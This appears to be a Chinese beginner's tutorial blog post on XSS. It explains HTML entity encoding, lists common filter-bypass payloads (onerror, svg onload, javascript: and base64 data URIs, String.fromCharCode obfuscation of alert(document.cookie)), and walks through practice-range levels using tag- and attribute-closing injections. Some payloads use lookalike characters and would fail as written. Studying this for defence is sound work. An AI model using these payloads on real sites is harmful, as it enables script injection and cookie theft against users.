当前位置: 首页 > news >正文

网安入门18-XSS(靶场实战)

HTML实体化编码

为了避免 XSS 攻击,会将<>编码为&lt;&gt;,这些就是 HTML 实体编码。

编码前编码后
不可分的空格&nbsp;
< (小于符号)&lt;
> (大于符号)&gt;
& (与符号)&amp;
″ (双引号)&quot;
’ (单引号)&apos;
© (版权符号)&copy;
he.encode('<img src=""></img>') // "&#x3C;img src=&#x22;&#x22;&#x3E;&#x3C;/img&#x3E;"// 转义
he.escape('<img src=""></img>') // "&lt;img src=&quot;&quot;&gt;&lt;/img&gt;"

常见的绕过payload

<img src="x" onerror=alert(1)>
<img src=1 οnmοuseοver=alert('xss')>
<a href="javascript:alert(1)">baidu</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<script>prompt('xss')</script>
<input value="" οnclick=alert('xss') type="text">
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
<svg onload=alert(1)>
<input name="name" value="" οnmοuseοver=prompt('xss') bad=“”>
<input type=“hidden” accesskey=“X” onclick=“alert(1)>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,
111,107,105,101,41)) 适用于绕过黑名单 alert 在跨站中,String.fromCharCode 主要是使到
一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为 ASCII 码,
然后再用 String.fromCharCode 还原,因为大多数的过滤系统都不会把 String.fromCharCode
加以过滤,例如关键字 alert 被过滤掉,那就可以这么利用 alert(document.cookie)
<img src="1" onerror=alert(1)>
<img src="1" onerror=alert&#40;1&#41;>(实体化()
<img src=1 onerror=alert&#40&#41>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src="1" οnerrοr=location="javascript:alert(1)”>
<img src="1" οnerrοr=location="javascript:alert%281%29”>

靶场实战(一)

欢迎来到XSS挑战

Level 1

通过观察页面,猜测因该是一个传参name=test可以下手

查看页面源代码

从这里我们可以看到它将name的参数值,插入到了<h2> </h2>标签之间,第一关没有过滤
payload:name=<script>alert('xss')</script>

Level 2

一个搜索框,故技重施失败了,判断他有过滤

查看源代码,上面一行是查询的回显,可以看到被实体化编码了,下面一行被双引号包裹

上面的实体化编码无法绕过了,现在的目标转化为下面一行,那就是闭合!
payload: "><script>alert(1)</script>//
或者 "><script>alert(1)</script><

实测也可以不用注释后面的">,说明HTML属于弱类型,校验不严格,另外查看这关源代码,调用的函数是 htmlspecialchars() 它的作用就是让 < 和 > 被HTML实体化编码
PHP htmlspecialchars() 函数

Level 3

还是搜索框,故技重施x2,无果,看源代码

这波看似没办法搞了,两边都被实体化了

仔细一想,两个尖括号以及被ban掉,

特殊事件 onmouseover onclick onfocuse 的介绍链接:
HTML onmouseover 事件属性 | 菜鸟教程
HTML onclick 事件属性 | 菜鸟教程
HTML onfocus 事件属性 | 菜鸟教程

函数效果
οnmοuseοver=alert(1)鼠标指针移至图片之上时弹窗
οnclick=alert(1)输入域获得焦点时弹窗
οnfοcus=alert(1)单击鼠标时弹窗

还有一个问题就是闭合这两个引号,闭合前面的,注释或者闭合后面的,这里跟上一关的标签闭合不一样,是比较严格的,不闭合属性中的值会无法执行
payload:' onmouseover=alert(1) //
或者: ' onmouseover=alert(1) x='

靶场实战(二)

alert(1)

0x00

啥也没有直接来吧

0x01

前面的<textarea>标签有个特性,无法创建其他标签,那就闭合掉

0x02

input标签,直接onmouseover+闭合连招,
还有种方法是闭合+新开标签 "> <script>alert(1)</script>
当然也可以用"><img src="x" onerror="alert(1)">也是很好用的

0x03

过滤了左右括号 () 那就用反引号`绕过

http://www.lryc.cn/news/309782.html

相关文章:

  • 爬虫的一些小技巧总结
  • LeetCode---386周赛
  • React之数据绑定以及表单处理
  • Siamrpn++论文中文翻译(详细!)
  • 第一篇【传奇开心果系列】Python的自动化办公库技术点案例示例:深度解读Pandas库
  • 基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的停车位检测系统(Python+PySide6界面+训练代码)
  • 状态模式(State Pattern)
  • js之版本号排序
  • 考取ORACLE数据库OCP的必要性 Oracle数据库
  • WordPress通过宝塔面板的入门安装教程【保姆级】
  • Leetcoder Day25| 回溯part05:子集+排列
  • 【HTML】HTML基础5(特殊字符)
  • MacBook将iPad和iPhone备份到移动硬盘
  • 贪心 Leetcode 376 摆动序列
  • 蓝桥杯(3.1)
  • 像用Excel一样用Python:pandasGUI
  • C#面:Application , Cookie 和 Session 会话有什么不同
  • BUUCTF---数据包中的线索1
  • 【数仓】kafka软件安装及集群配置
  • 代码随想录 二叉树第三周
  • flask流式输出-SSE服务
  • 注解整理ing
  • Android 将图片网址url转化为bitmap
  • 鸿蒙Harmony应用开发—ArkTS声明式开发(通用属性:颜色渐变)
  • 腾讯云幻兽帕鲁游戏存档迁移教程,本地单人房迁移/四人世界怎么迁移存档?
  • C2_W2_Assignment_吴恩达_中英_Pytorch
  • C语言实现航班管理
  • 【Java面试题】SpringBoot与Spring的区别
  • 网络编程(IP、端口、协议、UDP、TCP)【详解】
  • Linux线程(二)----- 线程控制